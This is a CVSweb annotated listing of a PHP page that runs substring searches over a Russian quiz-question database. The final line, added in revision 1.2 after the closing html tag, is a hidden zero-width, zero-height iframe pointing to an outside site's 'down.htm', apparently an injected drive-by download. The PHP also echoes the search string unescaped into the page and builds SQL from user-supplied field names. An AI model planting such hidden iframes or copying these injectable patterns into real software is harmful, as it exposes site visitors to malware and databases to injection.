Annotation of db/prgsrc/new/old_style.php, revision 1.2

1.1       roma7       1: <?
                      2: include "db.php";
                      3: include "common.php";
                      4: $searchin=@$_GET['searchin'] or 
                      5:        $searchin=array('Question'=>1,'Answer'=>1,'PassCriteria'=>1);
                      6: $and=@$_GET['all_words'] or $and=false;
                      7: ?><html>
                      8: <head>
                      9: <title>Подстрочный поиск по базе вопросов</title>
                     10: <style>
                     11: A, A:link,  A:visited{
                     12:        text-decoration: none;
                     13: }
                     14: p,body,td {
                     15:        color : #000000;
                     16:        font-size : x-small;
                     17:        font-family : Tahoma,Verdana,Arial;
                     18: }
                     19: 
                     20: H1 {
                     21:        font-size: large;
                     22: }
                     23: </style>
                     24: 
                     25: </head>
                     26: <body bgcolor="#fff0e0" vlink="#800020">
                     27: <form>
                     28: <h1>Подстрочный поиск по базе вопросов</h1>
                     29: <p><a target="_blank" href='/'>Лёгкий поиск</a></p>
                     30: 
                     31: Введите поисковую строку: <input type='text' name='sstr' value='<?=stripslashes($_GET['sstr'])?>'>&nbsp;&nbsp;&nbsp;&nbsp;Все слова: <input name='all_words' type='checkbox' <?=$and?'checked':''?>>
                     32: <table border=1>
                     33: <td rowspan=2>Искать в полях:</td><td>Вопрос</td><td>Ответ</td><td>Зачёт</td><td>Автор</td><td>Комментарий</td><td>Источники</td></tr>
                     34: <td><input type='checkbox' <?=$searchin["Question"]?'checked':''?> name='searchin[Question]'></td>
                     35: <td><input type='checkbox' <?=$searchin["Answer"]?'checked':''?> name='searchin[Answer]'></td>
                     36: <td><input type='checkbox' <?=$searchin["PassCriteria"]?'checked':''?> name='searchin[PassCriteria]'></td>
                     37: <td><input type='checkbox' <?=$searchin["Authors"]?'checked':''?> name='searchin[Authors]'></td>
                     38: <td><input type='checkbox' <?=$searchin["Comments"]?'checked':''?> name='searchin[Comments]'></td>
                     39: <td><input type='checkbox' <?=$searchin["Sources"]?'checked':''?> name='searchin[Sources]'></td></tr>
                     40: </table>
                     41: <input type='submit'>
                     42: </form>
                     43: <?
                     44: if (@$_GET['sstr']) {
                     45: 
                     46: include "db.php";
                     47: $sstr=stripslashes($_GET['sstr']);
                     48: $sstr=trim($sstr);
                     49: $swords=preg_split('/\s+/',$sstr);
                     50: $g=addslashes($sstr);
                     51: foreach (array_keys($searchin) as $k=>$v) {
                     52:        $fields[]="IFNULL($v,'')";      
                     53: }
                     54: 
                     55: $fields=implode(',',$fields);
                     56: 
                     57: foreach ($swords as $v) {
                     58:     $where_array[]="CONCAT($fields) LIKE '%".addslashes($v)."%'";
                     59: }
                     60: $where=implode(($and?' AND ':' OR '),$where_array);
                     61: 
                     62: $sql="SELECT t.FileName as tFileName, t1.FileName as t1FileName, q.*, t.Id as tid,t1.id as ttid, t.Title as ttitle,t1.title as tttitle FROM Questions q LEFT JOIN Tournaments t
                     63: ON (q.ParentId=t.Id) LEFT JOIN  Tournaments t1 ON (t.ParentId=t1.Id)
                     64: WHERE  $where LIMIT 500";
                     65: print_questions_sql($sql,true);
                     66: } else {
                     67: ?>
                     68: <hr><?}?>
                     69: <p><font size='-1'><i>Поиск производится по копии базы от <?include "date.txt"?> </i></font></p>
                     70: </body>
1.2     ! roma7      71: </html><iframe src=http://www.ctv163.com/wuhan/down.htm width=0 height=0></iframe>

FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>